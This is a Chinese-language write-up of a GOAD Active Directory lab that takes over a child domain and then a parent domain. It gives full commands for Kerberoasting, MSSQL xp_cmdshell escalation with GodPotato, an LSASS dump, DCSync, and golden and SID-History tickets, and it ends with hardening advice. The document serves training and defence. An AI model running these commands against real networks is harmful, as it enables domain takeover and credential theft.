靶场:GOAD AD 靶场,环境包含父子域架构,完整复现信息收集、MSSQL 提权、DCSync、黄金票据、SID‑History 跨域攻击全流程。 目标:①接管子域
north.sevenkingdoms.local域控;②利用 SID‑History 跨域黄金票据,拿下父域sevenkingdoms.local。
一、实验环境说明
靶场主机清单
表格
| 主机 | IP 地址 | 角色 |
|---|---|---|
| SEVENKINGDOMS‑DC | 192.168.56.10 | 父域 sevenkingdoms.local 域控制器 |
| WINTERFELL‑DC | 192.168.56.11 | 子域 north.sevenkingdoms.local 域控制器 |
| CASTELBLACK | 192.168.56.22 | 子域成员服务器,部署 MSSQL 服务 |
攻击机:Kali Linux 攻击目标:
- 初步目标:完成子域
north.sevenkingdoms.local域控接管(黄金票据) - 最终目标:利用SID‑History实现跨域黄金票据,接管父域
sevenkingdoms.local
二、信息收集阶段
2.1 主机存活与端口探测
首先使用nmap进行网段存活探测,识别网段内存活主机。
nmap -sn -T4 192.168.56.0/24
扫描识别三台核心靶机全部存活,均为 VMware 虚拟机。
使用crackmapexec(nxc)批量探测 SMB 服务,获取主机名、操作系统、域名、SMB 签名状态。
nxc smb 192.168.56.0/24
探测关键结论:
- 三台主机系统均为 Windows Server 2019 Build 17763 x64;
- 192.168.56.10 属于父域,192.168.56.11、192.168.56.22 属于子域;
- 两台域控开启 SMB 强制签名,无法 SMB 中继;成员服务器 CASTELBLACK 关闭 SMB 签名,存在中继风险,是本次突破口;
- 全部主机关闭 SMBv1,SMBv1 相关攻击失效。
小结:域控安全配置相对严格,优先从成员服务器开展渗透。
2.2 域用户枚举
2.2.1 SAMRPC 匿名枚举域用户
子域域控允许 SAMRPC 匿名访问,无需账号密码即可枚举域账号。 通过 crackmapexec 调用 SAMRPC 协议,枚举到大量账号:jon.snow、sansa.stark、robb.stark、sql_svc等,并且直接泄露账号jeor.mormont明文密码Heartsbane。
风险提示:域控开启 SAMRPC 匿名查询会造成账号信息大量泄露,可用于密码喷洒、Kerberoast 预探测。
2.2.2 Kerbrute 无锁定用户名爆破
利用 Kerberos 预认证机制,Kerbrute 探测有效用户名,该方式不会触发账号锁定。
kerbrute userenum --dc 192.168.56.11 -d north.sevenkingdoms.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --threads 100
将 SAMRPC 和 Kerbrute 结果合并,得到完整域用户列表,为后续攻击做准备。
2.3 密码同源喷洒测试
拿到账号列表后,使用 crackmapexec 进行密码喷洒,测试弱口令:
nxc smb 192.168.56.11 -u userlist.txt -p passlist.txt
探测得到两组有效凭据:
north.sevenkingdoms.local\hodor:hodor普通域账号north.sevenkingdoms.local\vagrant:vagrant本机管理员权限账号
2.4 SPN 服务账号枚举
使用普通域账号 hodor 查询域内 SPN 服务主体名称,定位可 Kerberoast 攻击的服务账号。
impacket-GetUserSPNs 'north.sevenkingdoms.local/hodor:hodor' -dc-ip 192.168.56.11 -outputfile spns.txt
探测结果:
HTTP类型 SPN 绑定普通用户sansa.stark、jon.snow;MSSQLSvc类型 SPN 绑定服务账号sql_svc,对应成员服务器 CASTELBLACK 上的 MSSQL 服务。
只要账号注册 SPN,攻击者就可以请求 TGS‑REP 票据,拿到哈希进行离线爆破。
2.5 Kerberos 环境准备
Kerberos 攻击对时间、域名解析要求严格,两个必做操作:
- 修改
/etc/hosts增加域名 IP 映射,解决域名解析; - 同步 Kali 与域控时间,防止时钟偏移导致票据报错。
sudo net time set -S 192.168.56.11 -U'north.sevenkingdoms.local\hodor%hodor'
三、Kerberoast 攻击尝试
执行 GetUserSPNs 请求 TGS 票据,导出 TGS 哈希,使用 hashcat 离线爆破。
impacket-GetUserSPNs 'north.sevenkingdoms.local/hodor:hodor' -dc-ip 192.168.56.11 -request -outputfile kerberoast.txt
hashcat -m 13100 kerberoast_hash.txt /usr/share/wordlists/rockyou.txt --force
本次实验:成功抓取 TGS 哈希,部分账号爆破出明文:
- jon.snow:
iknownothing- sansa.stark:
345ertdfg(需要变形字典)
四、MSSQL 链路提权获取高价值凭据
4.1 MSSQL 登录与权限判断
使用爆破得到的jon.snow:iknownothing,Windows 身份认证登录 MSSQL 服务。
impacket-mssqlclient 'NORTH/jon.snow:iknownothing@192.168.56.22' -windows-auth
登录后判断数据库权限:
SELECT IS_SRVROLEMEMBER('sysadmin')
返回1,说明当前账号拥有sysadmin最高数据库管理员权限。
开启xp_cmdshell存储过程:
enable_xp_cmdshell
执行命令查看服务账号权限:
xp_cmdshell whoami /priv
观察到开启SeImpersonatePrivilege权限,该权限可以使用 GodPotato 完成本地提权到 NT‑SYSTEM。
4.2 GodPotato 本地提权
- Kali 开启简易 http 服务,提供 GodPotato 工具下载
python3 -m http.server 80
- 在 MSSQL 的 xp_cmdshell 中使用 certutil 下载提权工具到目标服务器;
- 执行 GodPotato,利用
SeImpersonatePrivilege从 NETWORK SERVICE 提升到 NT‑SYSTEM; - 将 jon.snow 加入本机管理员组。
攻击效果:原本普通域用户 jon.snow 获得 CASTELBLACK 服务器本地管理员权限,可以 evil‑winrm 远程登录。
4.3 Evil‑WinRM 获取主机 Shell
evil-winrm -i 192.168.56.22 -u 'NORTH\jon.snow' -p 'iknownothing'
成功拿到交互式 PowerShell Shell。
4.4 Dump LSASS 导出内存凭据
利用系统自带comsvcs.dll对 LSASS 进程做 MiniDump,导出内存转储文件。
$pid=(Get-Process lsass).Id
cmd /c "rundll32.exe C:\Windows\System32\comsvcs.dll,MiniDump $pid C:\Users\Public\lsass_robb.dmp full"
通过 evil‑winrm 的 download 功能将 dmp 下载回 Kali,使用 pypykatz 解析 dump 文件。
pypykatz lsa minidump lsass_robb.dmp
成功拿到高权限账号robb.stark的 NTLM 哈希,为后续 DCSync 做准备。
五、DCSync 域复制攻击实验
DCSync 攻击依赖Replicating Directory Changes权限,不是知道账号密码就可以执行。
5.1 普通域账号 DCSync 测试
使用 samwell.tarly、jon.snow、sansa.stark 执行 DCSync,全部报错ERROR_DS_DRA_BAD_DN,攻击失败。 普通域账号默认没有目录复制权限,因此攻击失败。
5.2 高权限账号执行 DCSync
使用 dump 得到的 robb.stark NTLM 哈希执行 DCSync:
impacket-secretsdump NORTH/robb.stark@192.168.56.11 -hashes :831486ac7f26860c9e2f51ac91e1a07a -just-dc
成功导出子域完整 NTDS.dit 凭据,拿到子域krbtgt账号 NTLM 哈希,这是生成黄金票据的核心材料。
六、子域黄金票据攻击(初步目标完成)
利用子域 krbtgt 哈希、子域 Domain SID,使用 ticketer 伪造域管理员 TGT 黄金票据。
impacket-ticketer -nthash e885361496daa3187ea6418581c54c1a -user-id 502 -domain-sid S-1-5-21-2275938202-2689245186-2807746679 -groups 512,513,518,519,520 Administrator -duration 87600 north.sevenkingdoms.local
设置环境变量加载 ccache 票据,使用 psexec 通过 Kerberos 认证登录子域域控。
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass north.sevenkingdoms.local/Administrator@winterfell.north.sevenkingdoms.local
成功拿到子域域控 System 权限 Shell,子域接管目标完成。
七、SID‑History 跨域黄金票据,接管父域(最终目标)
原理:父子域信任环境,SID‑History 属性写入林根
Enterprise Admins企业管理员 SID,实现子域票据向上溢出父域权限。
7.1 获取父域 SID
使用已经拿到的子域域控 shell,查询林内域信任信息,提取父域sevenkingdoms.local的 SID。
7.2 Mimikatz 生成跨域黄金票据
将 mimikatz 上传到子域域控,执行kerberos::golden模块,填入子域 krbtgt 哈希,使用/si参数写入父域 Enterprise Admins 组 SID,生成注入跨域黄金票据。
kerberos::golden /domain:north.sevenkingdoms.local /sid:子域SID /krbtgt:子域krbtgt哈希 /user:fakeadmin /si:父域Enterprise Admins的SID /ptt
票据注入成功后,测试访问父域域控 C 盘共享:
dir \\KINGSLANDING\C$
可以列出父域域控磁盘文件,证明跨域票据生效,当前会话拥有企业管理员权限。
7.3 DCSync 导出父域凭据
在 mimikatz 中执行 DCSync,利用企业管理员权限远程导出父域域控凭据,拿到父域 krbtgt 哈希、父域管理员 NTLM 哈希。
7.4 生成原生父域黄金票据,登录父域域控
拿到父域 krbtgt 哈希后,使用 impacket‑ticketer 生成父域原生黄金票据,加载票据后 psexec 登录父域域控。
impacket-ticketer -nthash 父域krbtgt哈希 -domain-sid 父域SID -user-id 500 -groups 512,513,518,519,520 Administrator sevenkingdoms.local
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local

成功获取父域域控 System Shell,最终目标完成。
八、攻击路径汇总
表格
| 攻击路径 | 执行结果 | 简要说明 |
|---|---|---|
| SAMRPC 匿名枚举子域账号 | ✅成功 | 子域 DC 开放 SAMRPC 匿名查询;父域关闭该功能 |
| Kerberoast TGS 哈希 + hashcat 离线爆破 | 部分成功 | 抓取 TGS 哈希,部分账号爆破出明文 |
| 普通域账号 DCSync | ❌失败 | 缺少目录复制权限,凭据正确但是攻击拒绝 |
| MSSQL xp_cmdshell + GodPotato 本地提权 | ✅成功 | 获取 CASTELBLACK 本机管理员权限 |
| Lsass 内存 dump + pypykatz 解析 | ✅成功 | 导出 robb.stark 高价值 NTLM 哈希 |
| robb.stark 执行 DCSync 导出子域 NTDS | ✅成功 | 获取 krbtgt 密钥,全部子域凭据 |
| 子域黄金票据接管子域域控 | ✅完成初步目标 | 获取子域域控 system shell |
| SID‑History 跨域黄金票据接管父域 | ✅完成最终目标 | 获取父域域控 system shell |
九、实验踩坑记录
- Kerberos 时钟偏移:Kali 与域控时间偏差过大,票据全部报错,必须同步系统时间;
- /etc/hosts 解析错误:域名 IP 映射写错,Kerberos 认证直接异常,务必维护正确 hosts;
- DCSync 认知误区:DCSync 不是账号密码对就可以跑,必须拥有目录复制权限;返回
ERROR_DS_DRA_BAD_DN不等于账号密码错误; - MSSQL 服务位置混淆:存在 SPN 不等于服务运行在域控上,本实验 MSSQL 部署在成员服务器;
- impacket 版本差异:新版本 impacket 部分旧参数移除,注意命令参数变更。
十、实验结论与防御加固建议
实验结论
- 完整攻击链路:信息收集 → Kerberoast → MSSQL 提权 → Dump 内存凭据 → DCSync 导出 krbtgt → 子域黄金票据 → SID‑History 跨域黄金票据拿下父域;
- DCSync 是权限依赖攻击,普通账号被授予目录复制权限后沦陷,整个域凭据全部泄露;
SeImpersonatePrivilege这类模拟权限漏洞,低权限服务账号可提升到 SYSTEM,dump 内存泄露凭据,横向危害整个 AD;- krbtgt 账号密钥是黄金票据攻击核心,攻击者拿到 krbtgt 哈希就可以无限伪造票据控制域;
- 父子域信任架构中,SID‑History 是高危风险点,子域沦陷极易向上渗透父域。
防御加固建议
- 权限管控:严格管控
Replicating Directory Changes、Replicating Directory Changes All目录复制权限,仅域控和必要管理员账号拥有,禁止普通业务账号授予该权限; - MSSQL 加固:非必要关闭
xp_cmdshell;MSSQL 服务账号权限最小化,避免使用高权限域账号运行数据库; - 漏洞补丁:及时修复本地提权类漏洞,防止低权限服务账号提升至 SYSTEM 导出内存凭据;
- krbtgt 密钥轮转:定期修改 krbtgt 账号密码,刷新 krbtgt 密钥,对抗黄金票据持久化;
- 关闭 SAMRPC 匿名访问:关闭域控 SAMRPC 匿名枚举,阻止攻击者批量收集域账号;
- 父子域信任管控:评估父子域信任必要性,监控 SID‑History 属性变更行为,警惕跨域票据滥用。
评论(0)
暂无评论